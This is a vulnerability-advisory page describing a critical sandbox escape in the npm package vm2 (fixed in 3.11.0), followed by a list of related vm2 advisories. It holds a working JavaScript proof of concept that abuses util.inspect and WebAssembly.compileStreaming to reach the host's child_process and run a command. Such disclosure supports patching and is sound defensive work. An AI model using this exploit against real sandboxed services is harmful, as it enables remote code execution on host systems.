Sign in
Deutsch English Español Polski
Critical

vm2 has a Sandbox Escape Vulnerability

  • Disclosed: 07.05.2026
  • Updated: 11.10.2026 10:22

Summary

It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes

Details

https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658

BaseHandler can be reached via util.inspect (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)

PoC

js
let obj = {
	subarray: Buffer.prototype.inspect,
	slice: Buffer.prototype.slice,
	hexSlice: () => '',
};

let sym;

obj.slice(10, {
	showHidden: true,
	showProxy: true,
	depth: 10,
	stylize(a) {
		const handler = this.seen && this.seen[1];

		if (handler && handler.getPrototypeOf) {
			gP = handler.getPrototypeOf;
			HObjectProto = gP(gP(gP(gP(Buffer))));
			HObject = HObjectProto.constructor;
			sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
		}
		return a;
	},
});

obj = {
	[sym]: (depth, opt, inspect) => {
		inspect.constructor('return process')()
		.getBuiltinModule('child_process')
		.execSync('id', { stdio: 'inherit' });
	},
	valueOf: undefined,
	constructor: undefined,
};

WebAssembly.compileStreaming(obj).catch(() => {});

Impact

Sandbox Escape -> RCE

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package vm2 < 3.11.0 3.11.0

References

CVSS score 10/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness (CWE)
CWE-94
Platform
npm
Package
vm2
Disclosed
07.05.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-qcp4-v2jj-fjx8 - CC BY 4.0

Vulnerability history: vm2

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (78) in the archive
Total entries
78
First → latest
10.2021 10.2026
Without a fix
1
Exploited in attacks
0

Severity breakdown

  • Critical 51
  • High 14
  • Medium 12
  • Low 1

Disclosures per year

Severity:
  1. vm2 has a Sandbox Escape Vulnerability this entry
    Critical · 10.0 CVE-2026-44006 < 3.11.0 3.11.0
  2. vm2 contains a sandbox escape vulnerability
    Critical · 10.0 CVE-2026-93605 < 3.12.1 3.12.1
  3. vm2: NodeVM custom resolution bypasses external path boundaries
    Critical · 10.0 CVE-2026-100721 < 3.12.2 3.12.2
  4. vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process
    High · 8.6 CVE-2026-100722 < 3.12.2 3.12.2
  5. vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM
    High · 7.1 CVE-2026-92959 < 3.11.8 3.11.8
  6. vm2: Sandbox Escape (NodeVM)
    Critical · 10.0 CVE-2026-92955 < 3.11.8 3.11.8
  7. vm2: Host-returned Promise rejection can bypass vm2's unhandled-rejection hardening and terminate the host process
    Critical · 8.6 CVE-2026-92954 >= 3.10.0, < 3.11.8 3.11.8
  8. vm2: Default VM can mutate host TypedArray and ArrayBuffer intrinsics after the host-prototype pollution fix
    Critical · 10.0 CVE-2026-92953 >= 3.11.0, < 3.11.8 3.11.8
  9. vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit
    Critical · 9.0 CVE-2026-92934 < 3.11.8 3.11.8
  10. vm2: timeout Option Bypass via FinalizationRegistry Cleanup Callback (Unbounded Host Event-Loop Block)
    High · 7.5 CVE-2026-92942 < 3.11.7 3.11.7
  11. vm2: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE
    Critical · 10.0 CVE-2026-92946 < 3.11.7 3.11.7
  12. vm2: Sandboxed code can read and write host-realm memory via Node's shared Buffer pool
    Critical · 10.0 CVE-2026-92947 < 3.11.7 3.11.7
  13. vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass
    Critical · 10.0 CVE-2026-92956 >= 3.10.1, < 3.11.7 3.11.7
  14. vm2: NodeVM builtin allowlist bypass via node:test.run() execArgv allows sandbox escape
    Critical · 9.9 CVE-2026-92948 >= 3.9.6, < 3.11.7 3.11.7
  15. vm2 CLI provides no sandbox isolation - host-realm require() is reachable from sandboxed scripts
    High · 8.6 CVE-2026-92950 < 3.11.7 3.11.7
  16. vm2 exposes host HTTPS credentials and TLS traffic through globalAgent
    Critical · 10.0 CVE-2026-92940 >= 3.11.3, < 3.11.7 3.11.7
  17. vm2 Custom Module Resolver Can Bypass the External Package Allowlist by Loading a Colliding Host Package
    Critical · 9.9 CVE-2026-92951 < 3.11.7 3.11.7
  18. vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes
    High · 8.5 CVE-2026-92958 < 3.11.7 3.11.7
  19. vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process
    Critical · 9.9 CVE-2026-92957 < 3.11.7 3.11.7
  20. vm2: NodeVM nesting guard accepts array-shaped require and permits host RCE
    Critical · 9.0 CVE-2026-92935 >= 3.11.4, < 3.11.7 3.11.7
  21. vm2: GHSA-m283-3h24-438v fix bypass leads to host RCE via call/apply indirection
    Critical · 10.0 CVE-2026-92937 >= 3.11.6, < 3.11.7 3.11.7
Show more (20) Showing 21 of 65

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Privacy policy

Free to subscribe. Unsubscribe with one click in any email.